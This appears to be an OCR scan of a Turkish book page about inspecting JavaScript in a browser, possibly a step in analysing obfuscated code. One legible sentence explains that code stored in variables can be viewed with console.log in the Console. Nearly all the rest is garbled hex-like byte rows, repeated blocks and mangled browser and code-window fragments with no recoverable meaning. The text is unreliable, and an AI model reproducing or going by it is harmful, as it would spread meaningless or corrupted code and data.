5C1 98 B DEK E¥ A6 EF 9C 9F- BY 07 240 BBq CE FIFP B0 5B 2B 94 8% FA 86 2C ED D™ 3B 9767 C4 F* 81 90 16 9¥Wx ASE 10 00 EE bk 804 LA E4P- DC TDJ BIXX D1 18 BF 7q EA 04 S6aal 24 81 F8 D4 DC 29 01 7B 96 08 84 7B 3C Bl Bé E” Eda 16 ED 17 EJK DENS 02 C3 CC 83 0B B! TEEA

7C 20w 99 DE2. $3 FEW 58 89 Fi EC D2 02 ©4 03 81 20MD 14 AJES 5D 02 5 E4 AA 7C 00 22 €3 17 EB 07 8B 16% 9F 7B BIP CD 1% 1A 40w %z 1B 04 E2 BC 58 0B D9x 1% 0F 14 3CNe D7 0k 98 D? BP B% DB F4 A3 8% SF DRJH 7B 2% 60 EI 4E AD 13 0% A0 C6 9A °C D FS 93 FB DB BD A2

06 C [EC 58 FBAC FB DD3 97 FC DI AS 08 A” Ficx B B6 24 90 29 SE 8B 11 0FY ASQ EBS 21M C4 B” DD B7 10 §B BA C7 AL IE 924 E2 85 24 ESbph A6 DF3 F9 "B 08) SEe FAK DA 12 BS DF BE 6 FF 8C A6 92 22w DBC 2A FE 25 D4 CB 04 FID JBS C2 B 82 E2q 0FsNe 1 7Eq ED 0B2 JA 59 S6a

TCOE 9F D BBX 1C C4 ED 228 A% 00 D9 DC 98 Db §5 0C 0E SRE CHGEN 83 24 408 9F 97 DF 2C 82 OC DC 7C 91yF 5D 28 $3N FE EB 89 DFTg0 FFF FS BC 14 98 "DL 98- 98 BB §1k D™Ne 2424 2% EE COE9 DF 16k 13 509 21 09 AB 3C F9 84 A Flz 0% BA* 26 28 FS F3 3C_Re F2 ETA AS 0A 404q

03 FB FRj CA BF 90 AA F7E6 40 A6 9F E* C1 AS 21 IFD7 F3 7C 19 Fe D7 DIK 84 1Fg A7 07 2 F9 9D 17 5C E4 BT 1% 86M ESW 9Bg BA SCL LA 02Thd B4 BS 941 DC FI AJ AA JE 14 A2 FI AF CT7U AFs ED 52 18 F! 994 120 Elp DA DB CIH 83 A2 B4 02 26 DE EA Flai A3 Bl 24 AD %4 EA FB
v 97 FE 3F E9 A $83 IE B2 EI AR 2Hx BE F6 29 E4A 09 6C ECS €4 CA CF FC 96 90W A9 26 03v FB 17 91 6F B0 89 3D EE DD BI CIH 19 CF 46 99 15 84 CB 90 B3 B2 16 FS FF AA 9%l 04 DD £3 EEe B0 F9 92 EB 0C £4 91 CB CDb BF 0C BA AF 3Asv 0A E DI SD 84RT OC DS FOR

g 10 0FC BI OF iFgX 14 LEW E7 244 0A BI BDdq 9E DF ASE AS AB BF DC 84 60 99 D9 28 JCLP 0C AC BEI 26HY D4J EB "D EE CAX 40 F2 (s COlLJwm 55 CFa DI S50 DS F* 25 DOM 5F 40 D7 AB 5C C8 090 2 g 286 93 LAB BS D9 07 A9 DE C4 F7 86 C6 DE 9F 24 92 F2 09

7 91 0Bqe 40 CSHE B3 ASY C0 8D SE B0 9B C2_ 060F EF 10 7D 52 E7q B0 000 94 DS C7 92700 10 AF 5D BF 0F Adm 98 3A E9 FS D6 93 50 A1 9F 24 92 F2 09 BCH 290 B 0F JFgX 14 1EW E7 234 04 BI BDd FEGY 22 DC TD0 CCa §1 090 52 D3 CD BB 119 06 FF FD 09 7B 56 0B DB

SB 2A BY 260 163z BC AC2 BF FEv FD 201 E9 835 00 1% 21 BS1 8698 C32 F§ EF C4 E0 BE 9C 13 FB CE 1C % ES 15 20 A6 E2 9AB 4C 8F Ea A0 Dipl C2 1D CB 29 7D OF 14 AF 5Dy BT CF 7F8 84 9D O 04 0Bd 26 JF DA E7 EBOE 11 JEHxL. 27U 97 9D 01 E%'T 11 91 A% 3F TF9F 17 CAFI En AL

F7 30 96 A3 CF 93 240 81 285 ALL CH1SET 89 F* 1D 9833 10 129 150 12 20 F9 02 Ad Foc 9D 0402 15 AD BI 98 13 0C 565 8F 07 OC LA 11 90 92 DI 85 C2 1€ PYW A%pdi 02 00 FF Do 5P F3 4E ECM FF E4 2B BD FFSD EA "Ca 06 7B FE 922 84 JE C1 C7 D9 80 ©2 26 B AAP BI Sipm 7E 00 9E D2

BA FY 10z 865 1D AS JE0 F4 FE C% 16 88 07 FOF BS BC C4 980 06 00 30u JE ES. AJ FB E2 23 B7a 25 % SFC A% 0F10 SIMET 06 91 AD BJ 06 C4 9C 55 2B 2C FS DA S4F C7 E9 98 51 AFf2 85W EE9 15 F§ 0AZ Ede %Eo A3 A9 AF AE 17 00 17 14 BF Déu BOY 40 AL AD 0ig DSk %63 F9- C3 Al

BV 40 Al AD 08ig DS Che 87 A0 "B D7 578 Fok 07 Ficl EFy E2 5E 00 AE2 BFyy “C FA FA B0 92 TFNA) 1) 82 AC E4 999 Boak BDs3 298 8% 02 B3 0Ep 80 C7 C46 E3 28 FC IF D4 FF 86 ES AA C3 AD Béx 8C DSE 22 D3 FD 5B A6 95D C0 9818 1C ASUE 5A1 03 50D FS $Cjt O3 99 OC BC 00l 84 Eoaz

D6 29 D% 08pE,_v 11 8D DA 09 & Ad S 11 ASOIL AS 0 OF Bs. D0 931 BSG/ 29 AD 60 51 DT A%k 95 23 E7 BIG AF 21 BOT AFY C1 F9 B BC A% AD CE 12 B9 C7 A8 EACI 12 BT DC FES CF 60 Fil C) C1 A% ECu 03 998 D1 9C 87 D91 BD 08 AEn C2 2430 8F 1D 1EF EE ElsE D1 7D "F8Qc 11

EET tdg 186C AE 81 IF JD 7E ASQ 0C C4 C8 9E 9E FD F3 0E ED E6 91¢ 1B B9 24 9FIF DO 570k 504 LA EAP- 9115 A4 A2 12 5F 92 95V D9 E4 1E AD FC fy 89 Bl EA 0D 10 5F 83 83 AB C3 40 FEL M4 83 %4 83 FE DD EDy E01 24 52 Boow FI Fotp ES E4) O6 CFh C6 EAV ES 30 ES SBa 20N AJ ACx B9

82 23 Fi2ve 19 23 EF 1D A0 CB 1L 8D §F 03 9B 5C AB” 04 50 C4P B35 ES Clw 97w JC LEsd 9Ad 99D EF- 8B 9™Wq 11 %6 7C A% E7 AS 5F2 C44 1SE1 AF2 13 BC 168 004 FTU ALZ AE 13 1F E0 DB A7 IF FIjV DA D B3 2BI 85 OC 91 A2 14 Al BD E* ES{ C1 FB 5D 17 CD E6 B0 F* 1Fk JE D2

B6 DFap AC A2 FAP 13 Fle 1E 20 1B 12 C4 EA LA A7 5F50 §564_E%b B AS EBy DE IE C9 D3 C216 29 AB- 5B 97Wyq 11 9% 7C 0D 11 %D SIT 92 06 1% D2 §F AC 58 AA DFI D9 D) 9C CE 11 5B 91 91 E2 DDA _k 130x_o 55 A6 AS 60 2A 5B F7 IF C30 93) 99 CC B6 3C 0C Fo C3 DEp 'E 53 ASI 55 0C D7

&7 B9} B0 B9 ESz E1 9C C0 FPMsk 8C 60 D4 §7 40 20 1E C0 18 Ca DD 8FS AC 26 F7a FE %0 B2K 5B 7F ED B4 AB B 0D F* SE 9D 00 21G DI 2408 A3 Al 83 0A0 DI 21 E0 042 DB DE A7 EX DF ES Bl EF CA 0 Eé C0' A4 CIF 53 B 04 0F AE 12 D* Fo AF F7 IRJ BB Fe i!t\‘l\v&ﬂ OCFoCl

DEp %3 BCE F7 08 FB FD 2CX F6 14 A2 §D 00 Fe D3 9 14 E2 C4 FD ODBE. 04T 02 7C COkW 1EPR Fia EJ E4A BS AB 9% EA 98k 04 Fi Fi AD E* C1L CF C2D9 FRICT AL LI DN 4 9702 Sowy FR B0 D1 F43 98 9E 14 29 86 00 BOw AT 16 B* 0A 5C iFb DAe BI 06 Bé OTRC 86 SECH

A2- 06 CF 23 Fo EBs-7 Al FEy OC 1C DB CA D% 8B 9F LA 22 O 93 83 84 AE D2 D9 B7Q A” 16 AD C9 84 E1 C1 BAR D2 9C BA “F B6 06 JE B9 %9L DF CP 03 25 AB C0 99 9C 50 21 0D DC-Q CBi D70 F6 %C §7 9 2C 89 CE 34 0D 2B O6 EEef 92 FF C2 C2 $BPy FS DI 07 EE % DA 92 DI F1 01

BC D9 343 179C 07 17 FB 12 01 B9 BB ES 0AbJ 91 21 D4 24 A0 B4 AE BE 5A SEm % Al 9% BF 09 CF CEs CA DA C63_ 1D $BPy FS D4 07 EE %0 524 070 60 EC. FAF DO 20 D4{ SE 9C B3 ABscE "D B6RA B9 991 DF C1P 03 255 7E C0 99 92Gr 3B 1C B0 BB 824y 3D 93 F6 409 00 84 21 3E 10 B0 FY

1Pk IE D2e Bé CF DF A% q IF 9F% Dilee DC 8606 FS F2 BT C2R 893 A% 06 7E 21 17 %4 FFDCOE™ 9D A2 AD SDa Flj 965 51 LE 22 05K ADA $2018 86 99 OFP DAIZ00 C1 DF £5 D3 ALL 9Cs 89 CD 7E 93 ED 0B B0 BD DC DOR BS 8508 E3 04 AF EC ESTE 89 38 D0 7R 14 DE BT OC BS I 60

Fo C3 DEp* TBEC 3C DC 7E 06 28 "Dv Clm FS 02 SD 0% Adi Ad omup 24k 0C 27 SEL FEF! 2C 5B D3o 24 JF 84 FO C7i CTh EX OC CD 3A DS 2C DC E* 9A BS A% IF JB TF0 IF E4 P9 %6m EC IC FCIb EC 16 TEPO E4 87 CDE 0C 00CXE BD 0B) 21 D4 2A A0 B4 AE BE 8A 'E 8 ASI 83 0C D7

971 980 T4 RE NIF 1EN Ady AR RRO 9 IF 8A 80809 1Ka C2h 19 2 FToo S0Wn Bl A% 0 F3 TRe RC #9897 Rd= 10 82 R0 9C SF 04 91y 9C AF R % CTIEH FC 1A R4 2C RAR 9 TR o9 A1 R YR 40 39 F2 9F 8 10K AF DA FA DD AFS A4 29 TFCTWCADDOCEITMEIR ITRIZ IR &

NP E e o o . DM et o P bt s w0 e -~ ~ BE8
Ib o c g e foemathom + (] fOGEMGCAcd< ¢ B ¢ g mat bami P RO E weke mad e ]
“ R S—— [ — o
- war wals0 ® aley. MABAS, matinds w -
- U DMACHEYIA] s | % wGLT || MACETEYER] STiTE 1] ot .
™ FiTaotys = woit;
n a—tth e sent (] rid
" L
n satish = e L T T e T T -
" o e i m et o UL
" saliih * saliad nlane
'
™ saldié = smldiél replass’l i "
™ MA@ BE3Syiealiie, FTTRlpal
- -
"
-
on vl A3
L
o $PSIIgkT, BYY |
»
"
"
"
-
"
-
"
-
- '
1.
. -
« a
e fDoc._el_format i
e Doaments e Serr ST st e Aap g _md_format i x |/ sem 8 4 A 4 - B

@ otie L, Coctem- O8] Porms- @ mages- i nrmatre [ Mecdreos-  outre F Reoe- 8 Took- [ Vew Source- ), Cptore
*aATqq F1 F6 F1 26/ C3 AD 17 9D 0

LE L
28793 FO CTHev S 17 B0 12 OCX0 8% 1E 200 06 DS A28 A6 500 Fian A7 5C 0le 24 21 BEPY AL C3 C1 080 09 SE CD DK 19 3A ©7 A1 FD F3 $C 7C 81 D2 D0 EA FS 5B 98 E7 11 10 3C 84 FiS 8450 52 9B DBCOC UBEJER2 IADém Cl 0% 02221 ©
ACT 98 2B DBK ES A6 EF 9C 9F- BS 076 150 BBq CE FIFP B0 8B 2B 84 §%) FA 86 3C ED DT 3B 9707 C4 F3 81 90 16 95Wx ASE 10 00 EE bh 804 LA EAP- DC TDJ BIXX D1 18 BF 7q EA 0% S6nal 24 81 FS D4 DC 29 01 7B 96 08 8¢ 7B 5C Bl B6 E7 Eda 16 ED 17 ESK DENS 02 C3 CC 83 0B B TE EA

TC 20w 99 DE2 3 FEW 58 89 Fi EC D 02 C4 03 51 20M0 14 AJES §D 02 5C E4 AA 7C 00 223 17 EB 07 8B 16% 9F "B BIP CD 1% LA 40w 90z 1B 04 E2 BC 85 0B D9x 1% 0F 14 3CNe D 01k 98 DS BSP B% DB F4 A3 8% 5F DEJH 7B 24 60 EI 5E AD 13 06 A0 C6 9A 7C DS F5 93 FB DB BD A2
06 C [EC 50 FBIC FB DD3 97 FC DI AS 08 A7 Ficx B B6 24 90 29 SE 88 11 0FY ASQ EBS 21M C4 B” DD B7 10U 8B BA C7 Al LE 924 E2 85 14 ESbph A6 DF3 P9 7B 08) SEe FAK DA 12 BS DF BE 6 FF 8C A6 92 22 DBC 2A FE 25 D4 CB 04 FD 5B C2 B7 82 E2q 0FsNe 1 7Eq ED 0B2 3A 9 562
TOOE 9F D BBX 1C C4 ED 228 AS 00 D9 DC 98 Db §3 0C 0E SBE CHGEN §3 24 408 9F 97 DF 2C 82 OC DC 7C 91yF 3D 28 $5N FE EB $9 DFTg0 FFF F* BC 14 98 "DL 95- 98 BB $1k D™Nc 24a4 2% EE COE9 DF 16k 13 509 21 09 AB 3C F9 84 A Flz 04 BA* 26 28 FS F3 3C_Re F2 ETA A6 0A 404q
@3 FB FBj CA BF 90 AA F7 E6 40 A6 9F ES C1 AS 21 IFDT F3 7C 19 Flc D7 DJK 84 1Fg AT 07 IC P9 9D 17 5C E4 BT 15 860 EW 98g BA SCL LA 02Thd B4 BS 941 [DC FI A3 AA SE 1% A2 FI AF C7TU AFs ED 82 18 F? 994 120 Elp DA DB CIH 83 A2 B%4 02 26 DE EA Flii A3 Bl 24 AD %4 EAFB

3B B4 02 Biv 97 FE iF E9 8A 583 JE B2 EI AS Xhx BE F6 29 E*A 09 6C ECS C4 CA CF FC %6 9W A 26 0iv FB 17 81 0 E0 89 3D EE DD BI CIH 19 CF 40 99 18 84 CB 9D B3 B2 16 FS FF AA 99l 04 DD 83 EEci E0 F? 92 EB 0C 8A 91 CB CDb BF 0C BA AF 3Asv 04 "E DI SD 04KT OC DS FOH
B31M ES 27g 10 0FC B1 0F iFgX 14 1EW E7 234 0A Bl BDdq 9E DF ASE AS AB BF DC SA 60 99 D9 28 JCLP 0C AC BEI 26HY DAJ EB "D EE CAX 40 F2 OO C0LJm §3 CFw DI 880 DS FS 24 DOM IF 40 D7 AB 5C C5 090 21D 9% Dig 286 %3 LAB BS [0 07 A9 DE C4 F~ 86 C6 DE 9F 24 91 F2 09

BCH 197 91 0q- 40w CHIE B3 ASY C0 5D SE B0 98 C1_ 060F EF 10 7D 58a E7q B0 00 %4 DE C7 92700 1C AF SD BF 0F At 98 34 E9 FS D6 93 50 Al 9F 24 92 F2 09 BCH 29C BI 0F iFeX 14 1EW E7 234 0A BI BDd FAGY 22 DC 70 OCa §1 090 82 D CD BB 119 06 FF FD 09 7B 56 0B DB
§B 54 BS 260 1642 BC AC2 BF FEv FI) 301 E9 §5 00 15 12 BS) 8698 C42 FS EF C4 Eo BE 5C 1} FB CE 1C %6 ES 15 20 A6 E2 9AB AC §F E™ A0 Dipl C2 1D CB 39 "D 0F 14 AF 5Dy B7 CF 7F5 $4 9 Cos 04 0 36 §F DA E” EBOE 21 JEHxL 170D 97 9D 01 E4'T 12 91 AS 5F TF 9F 17 CA F1 Ev Al
F7 30 % A3 CF 93 240 81 2% AIL CMSET 89 F* 1D 9833 10 129 18« 12 21 P9 02 Ad Féc 9D 0402 15 A0 BL 9B 13 0C %65 5F 07 OC uu»o'mlu:u'm ATpdi 02 0 FF Déd 5Py Fi SE ECM FF Ed 2B BD FFSD EA O C6 7B FE 922 84 5E C1 C7 D9 0C C2 26 BT AAP Bl S4pm 7E 00 9E D2
BA F¥ 10z 865 4D AS JEOF4 FE C% 16 88 07 FDF BS BC C4 98 06 0D 30w JE ES. AJ FB E2 23 B7a 2% % SFC A% 0F10 SIMET 06 91 AD B3 06 C% 9C £ 1B 2C F8 DA S4F C7 E9 98 81 AFif2 85W EE? 1% F§ 0AZ Efe %Eo AJ A% AF AE 17 00 17 14 BF Dén BOY 40 AL AD 0fig Dk %63 F9- Ci Al
BIV 46 Al AD 08 D8 Cle 87 AD "B D" 878 Fik 07 Ficl EFy E2 JE 00 AE2 BFyv °C FA FA B0 92 TFNAj 13 82 AC Ed 99%n Béak BDs3 298 52 02 B3 0Ep 80 C7 C46 E3 38 FC IF D? FF 86 ES AA C3 AD Béx 8C DAE 22 D3 FD 3B A6 98D 00 9818 10 ASUK 1A1 03 50D FS $Cj O3 99 0C BC 00l 82 Ebaz
Dé 2909 ¢ 11 8D DA CF 97 20 A4 5C 11 AS 0IL AS. 06 O B D0 931 BSG' 29 AD 60 81 D7 A9k 95 23 E7 BIG AF 22 BOT AFY C1 F9 B BC A9 AD CE 22 B98 C7 A6 EAC1 12 B DC FES CF 60 F§I O3 C1L A% ECu 0 998 DI 9C 87 D91 BD 08 Al C2 2400 5F 1D 1EF EE ElE DI "D TF8Q¢ 11
EET #g 186C AE 81 IF JD TE ASQ 0C €4 C3 9E 9E FD F3 0E ED Eé 91¢ 1B B9% 24 9F1F DO 570k S04 LA EAP- 9115 A4 A2 12 JF 52 95Y D9 Ed 1E AD FC fy 89 BI EA 0D 10 3F 83 83 AR C3 40 FEL 24 83 %4 83 SFE DD EDy E0] 24 82 Bam F1 Pétp ES E4) O6 CFh O6 EAV ES 0 EY SBa 20N A3 ACx B9

82 23 Fi2ve 190 23 EF ID A0 CB 11 8D 8F 03 0B 3C AR 04 80 C4P B33 ES Clw 97w JC 1Esd 8Ad 93D EF- S8 97Wq 11 %6 7C A%Q E7 AS 8F2 C43 15E] AF2 13 BC 16B 0Cd F7U ALZ AGE 23 IF E0 DR AT IF FIjV DA D Ri 2BI 53 OC 91 A2 14 Al BD E* ES{C1 FB 5D 27 €D Eé E0 F* 1Pk E D2e

B6 DFap AC A2 FAF 13 Fle LE 21 1B 12 C4 EA LA A7 5FS0 536d_E*b B7 AS EB) DE 1E C9 D3 C216 29 AB- 5B 97Wyq 11 % 7C 0D 11 9D S1T 92 06F 15 D2 8F AC 55 AA DFI D9 DOJ 9C CE 11 5B 91 91 E2 DD4_k 1305 _o 55 A6 AB 60 1A 3B F7 1F C30 93) 90 OC B6 3C 0C Fo C3 DEp SE 83 ASI55 0C D7
97 B9 EOZ B9 ESz E1 %C C9 FPMk 5C 60 D% §7 40 20 1E C0 18 O DD §FS 5C 26 F7a FE 90 B2 4B “F ED B4 AB *B/ 0D F* SE 9D 00 21G DI 2405 A3 Al $3 0A0 DI 21 E0 092 DB DE A” E2 DF ES BI EF CA 50 E6 00’ A4 C2F 85 5B 0% 0F AE 12 D* F0 AF F7 2B BB Fs 3E CCB6 3C 0C FO C3

DEp %3 BCE F7 08 FB FD 20X F6 14 A2 8D 000 F6 D3 98 15 E2 C4 FD 0DB. 04T 02 7C CokW 1BPB Fla E5 E4A BS AB 96 EA 955 04 FI F3 AD EX C1L CFr C2 D9 FIRI C7 AL 13 DI L3 C2 92 02 S0wy FBED DI F23 98 9E 14 29 86 00 BOw A7 16 BS 04 $C 5P Dike B 06 B6 136 27 13 07 BC 06 5E C3

A2- 06 CF 23 Fo EBe-" Al FEy OC |C D7B CA D9 8B 9F 1A 22 Oic 93 83 8A AE D2 D9 B7Q A 26 AD C9 84 EI C1 BAR D2 9C BA “F Bé 06 SE B9 991 DF C4F 03 2% AR C0 99 9C 80 21 0D DC-O OBy D70 F6 %C 87 9E 2C 89 CE JA 0D 2B C6 EEef 92 FF C2 C2 YBPy FE D4 07 EE % DA 92 DI F1 01

BC D9 3A-3 179C 07 17 FB 1201 B9 BB E4 0ALJ 91 21 D4 2A A0 B4 AE BE 8A SEm % Al 94 BF 09 CF CEs CA DA Cé3_ 1D *BPy FS DJd 07 EE %0 824 0717 60 EC. FAF D 20 D4 SE 9C B3 ABxR "D B6R4 B9 991 DF C4P 03 244 7E C0 99 92Gr B 1C E0 BB 824y JD 93 F6 409 00 84 21 JE 10E0 F*

1Fk JE D20 B6 CF DF A% q iF 9F b Dilee DC 8606 FS$ F2 BT C2B 593 A% 06 7E 21 17 %4c FFDC §7 90 528 A2 AD 8Da Fl) 968 51 LE 12 6%k ADA 5295 96 99 9FP DAJZ00M C) DF £3 D3 ALl %o 89 CD 7E 93 ED 0B B0 BD DC DCzR BY 8308 Ed 04 AF EC ES7L 89 18 19 7B 14 DE BS™ OC B6 3C o

FO C3 DEp® "B EC 3C DC TE 06 28 TDr Clan FS 05 5D 08 5C 91 AAs Ad bep 24k 00 27 SSL FEF* 2C 5B Do 24 3F $4 F0 C7 CDy E2 OC CD JA DS 5C DC ES 94 BS A6 IF 3B F0 1F E4 9 % EC 1C FCIb EC 16 TEPO E4 §7 CDE 0C 00CXE BD 08) 21 D4 24 A0 B4 AE BE 84 5E 83 ASI 55 0C D7
#7.01 980 C4 RE TFL LN Ady AR RSO 09 5F 24 6081 91Ka C%h 19 §3 D2 Flie 60Wse R4 AT 00 F1 TRe BC 81 3 ©°F 4R 40 39 F3 9F 6 10K AF DA Fa DI SF6 A4 2 TF C7 30 SN DO CF 37 M iR 1TRe: TR #

L S0 T - v B et Gk P torer

1

- ~ v 008

Ih o+ g e femathen » (] WeSOMEWMOCAcd: © g ¢ g b mat b FADE meks swh e L

Ol e Do’ ‘et wit r e AT
@ o it polrsittomen (onae O , ..

i o # Frces

- et o B | o

- v - .

- G AU RRTRA] iSdn | = wGL || RACURYRR] sTEMITE ) | et

] FrTastpe * waldt; - s

n o £ d St ()

n

" SOLILA = hbal dermmant JLgHE" + “LemestByid*] MIC [ Anea’ + ENBR)

" o 1

L wallih = endd

™ oolZif = sullub] ‘seplese’)LNaiy. ‘415

" MABAS = 194359 suiinh, TTTsatpal s

" e

- snllnd =
3 LT

o el idnta)

[ IS R —————

v = o : -
Pt i3S ' » wpm

-1 B Got Soae [Wrdow] & bt | Wpe

"

"

-

"

»

" -

"

Degiskenlerde yer alan JavaScript kodlarint dilediginiz zaman konsol ekranindan ulasabilirsiniz. Bunun i¢in Console ekraninda
console.log(degisken) yazmaniz yeterlidir.

92



€ A W oot i Serrguidmrey st ek g/ _im_jormat i

% |G e 8 4+ & 4 =- B
L
11 10 3C 84 FiS 84 80 82 98 D BC OC 138 EJ ES2 LA Déan C1 04 60 22 21

@ ontie- QL Coim- O35 [ Forme- @ mage- @ rmanre [ Mecdreos- o outre- f Remee J Took- () Veew Source- |, Optons-

*aAqq FI F6 FI 26/ C3 AD 37 9D 0 #7953 FO CTHev FS 17 B0 12 OO0 83 1E 2080 06 D% AZE A6 200 Fim A™ 9C 0l 24 21 BEP AL C3 C1 080 09 2E CD D4K 19 3A CT Al FD Fi 8C 7C 81 D2 D0 EA F8 5B 98 E'
ACT 90 2B DBK ES A6 EF 9C 9F- B 076 240 BRq CE F2FP B0 SB 28 94 84 FA 86 3C ED D7 1B 977 C4 FS 81 9D 16 99Wx ASE 10 00 EE bh 804 LA E4P- DC TDJ BIXX DI 18 BF 7q EA 0% S6oal 24 £1 F8 D4 DC 29 01 7B 96 08 §4 7B 3C Bl B6 E7 Eda 16 ED 17 E4K DENS 02 C3 CC 83 0B B TEEA
7C 20w 99 DE2. 83 FEW 55 89 F4 EC D4 403 81 20M0 14 AJE9 8D 02 4C E4 AA 7C .00 22 C3 17 EB 07 SB 16%- 9F B BIP CD 1%s 1A 40w 90z 1B 0A E2 BC 85 0B D9x 1% OF 14 30N« D7 00k 98 DS BAF B% DB Fi AJ 8% 5F DEJH "B 2* 60 E1 *E AD 13 06 A 6 9A °CD* F8 93 FB DB BD A2
06 C [EC 50 FBIC FB DD3 97 FC DI AS 08 A” Ficx B B6 24 90 29 SE 8B 11 0FY AJQ EBS 21M C4 B” DD B7 10U 8B BA C7 Al LE 924 E2 85 14 ESbph A6 DF3 F9 7B 08) SEe FAk DA 12 BS DF BE 6 FF 8C A6 92 22w DBC 2A FE 25 D4 CB 04 FID JB C2 B7 52 E2q 0F6Ne 1 7Eq ED 0B2 1A 59 862
TCOE 9F 3D BEX 1C C4 ED 228 A% 00 D9 DC 98 Db $3 0C 0E SBE CHGEN 83 24 408 9F 97 DF 2C 82 OC DC 7C 91yF 3D 28 $5N FE EB 89 DFTg0 FFF FS BC 14 98 "DL 95- 98 BB 81k D™Ne 24a4 2% EE COE9 DF 16k 13 509 21 09 AB 3C F9 84 A Flz 04 BA* 26 28 FS F3 3C_Re F2 ETA AS 0A 404q
03 FB FBj CA BF 90 AA F7 E6 40 A6 9F ES C1 A3 21 IFDTF3 7C 19 Fle D7 DIK 84 1Fg AT 07 2C P9 9D 2

ix BE F6 29 E4A 09 6C ECS C4 CA CF FC 96 $5W A9 26 04v F 1 OE B0 89 3D EE DD BI CLH 19 CF 46 99 15 84 CB 90 B3 B2 16 FS FF AA 9%l 04 DD 83 EEc B0 F9 92 EB 0C £ 91 CB CDh BF 0C BA AF JAs 0A E DI 8D 84BT OC
EW E7 244 0A BI BDdq 9E DF ASE AS AB BF DC SA 60 99 D9 28 3CLP 0C AC BEI 26HY DS EB 7D EE CAX 40 F2 CCu C0LJw $3 CFu DI S50 DS FS 28 DM 3F 40 D7 AB £C 08090 2 AB BS D9 07 A9 DE C4 F7 86 C6 DE 9F 14 92 F2 09
BCH 197 91 0Bq- 40x CSHE B3 ASY OO SD SE B0 98 C2_ 060F EF 10 "D 55 E™q B0 000 %4 DS C7 92700 10 AF 5D BF 0F At 98 A B9 FS D6 95 50 AL 9F 24 92 F2 09 BCH 29C BI 0F JFeX 14 1EW E7 234 0A BI BDd FAGY §1 090 52 D3 CD BB 119 06 FF FD 0% 7B 56 0B DB
SB SA BY 260 163z BC ACY BF FEv FD 201 E9 85 00 | BE] 8698 C41 F8 EF C4 E0 BE %C 13 FB CE IC %6 ES 15 10 A8 E2 9AB AC 8F E%s A0 Dipl C2 1D CB 19 7D 0F 14 AF 3Dy BT CF TFS 84 9D Cs 04 0Bd 26 5F DA E7 EBOE 11 SEHxL 17U 97 9D 01 E*= T | AS 3F TF9F 1T CAF2 ED AL
F7 3C 96 A3 CF 93 24C 81 253 AIL C51 *ET 89 F* 1D 9833 10 129 18« 1 P9 02 Ad Fic 9D 0402 IS A0 BI 9B 13 0C %S SF 07T OC LA 14 90 92 DI 88 I PPW ATpdi 02 00 FF D64 5P F3 SE ECM FF E4 2B BD FFAD EA “On C8 7B FE 922 84 JE C1 C7 D9 8C C* 26 BT AAP Bl Sipm “E 00 9E
BA FS 10z 865 D AS JEOF4 FE C% 16 88 07x FOF BS BC C4 980 06 00 30w JE ES. AJ FB E2 23 B7a 25 %6 SFC Adi 0F10 SIMET 06 91 AD B 06 C4 9C £5: 1B 2C F8 D €7 E9 98 51 AR $5W EE9 2% F§ 0AZ Ede %Eo AJ A% AF AE 17 00 17 14 BF Dén BOY 40 Al AD g DS 963 F9- C3

B2V 40 Al AD 08ig DS Che 87 A0 "B D7 578 Fok 07 Ficl EFy E2 JE 00 AE2 BFyy 7C FA FA B0 92 TFNA) 13 82 AC E4 999 Boak BDs3 298 85 02 B3 0Ep 50 C7 C46 E3 28 FC IF DS FF 86 ES AA C8 AD Béix 5C DSE 22 D3 FD 5B A6 95D 00 9BI8 1C ASUE $A1 03 50D F8 $Cjt O3 99 OC BC 00l 84 Bvaz
D6 29 D% 08pk,_v 11 8D DA C9 97 20 Ad 5C 11 AS 0IL A5 0 0F Bé. D0 931 BSG' 29 AD 0 51 DT A9k 94 23 E7 BIG AF 12 BOT AFY C1 P9 Bo BC A9 AD CE 12 B9 C7 A6 EAC] 12 B DC FES CF 60 F81 C%) C1L A% ECw 03 998 D) 9C 57 D91 BD o8 AEn C2 2A)) §F 1D |EF EE EE D1 "D "F80x 1)
EET #g 186C AE 81 IF 3D 7E ASQ 0C C4 C8 9E 9E FD F3 0E ED E6 91c 1B B9 24 9FIF DO 570k 504 LA EAP- 9115 A8 A2 12 5F 92 98Y D9 Ed 1E AD FC fy 89 Bl EA 0D 10 5F 83 53 AB C3 40 FEL 24 83 %4 83 SFE DD EDy E01 24 52 Bém FI Fotp ES E4) 06 CFh 06 EIV ES 50 ES SBa 20N A3 ACx B9
82 23 Fi2ve 190 23 EF 1D A0 CB 1L 8D §F 03 9B 5C AB” 04 50 C4P B35 ES Clw 97w JC IEsl 9Ad 93D EF- 8B 9™Wq 11 %6 °C A% E7 AS 5F2 C4* 18E1 AF2 13 BC 168 0Cd FTU ALZ AE 23 IF B0 DB A7 IF FIjV DA D B 2Bl 5 OC 91 A2 14 Al BD E* ESf C1 FB 5D 17 CD E6 B0 F* 1Pk JE D2
B6 DFap AC A2 FAP 13 Fle LE 21 1B 12 C4 EA LA A7 5750 §86d_E*h BT AS EB) DE 1E C9 D* C216 29 AB- 8B 97Wyq 11 % 7C 0D 11 9D ST 92 06F 15 D2 §F AC 58 AA DFI D9 DAJ 9C CE 11 5B 91 91 E2 DD _k 130s_o §5 A6 AS 60 2A ¥B F7 1F C30 93) 90 OC B6 3C 0C Fo C3 DEp SE 53 ASISS oC D7
97 B9) EOZ B9 ESz E1 9C 00 FPMWk 5C 60 D4 §7 40 20 IE C0 15 Chn DD SFS 5C 36 F7a FE 90 B24K 4B 7F ED B4 AB SB 0D F* SE 9D 00 21G DI 2400 A3 Al 8 0A0 DI 21 E0 032 DB DE A” E2 DF ES BIEF CA 0 E6 C0' A4 C2F 55 B 03 0F AE 12 D* Fo AF F” 2RI BB F6 JE CC Mk‘« Fo 3

DEp 53 BCE F7 08 FB FD XCX F6 14 A2 SD C0Q Fé D3 9E 14 E2 C4 FD DB 04T 02 7C COkW IBPB Fia EJ E4A BS AB % EA 98k 04 F4 F3 AD E* C1L CF C2D9 FRICT AL 13 DI 13 C* 9282 80wy FB E F43 98 9E 1% 19 86 00 BOw AT 16 B 0A 5C 5Fb DAe B1 06 Bé 13 OTBC 8 SECS

AZ- 06 CF 13 Fo EBe- Al FEy OC 1€ DB CA D9 8B 9F LA 22 Ofic 93 83 A AE D2 D9 BTQ AT 26 AD C9 84 El C1 BAR D2 9C BA °F B6 06 TE B9 991 DF CP 03 2% AR C0 99 9C 50 21 0D DC-0 Chi D SC 87 9E 2C 89 CE JA 0D 2B C6 EEef 92 2 SEPy F3 D4 07 EE %0 DA 92 D1 Fl 01

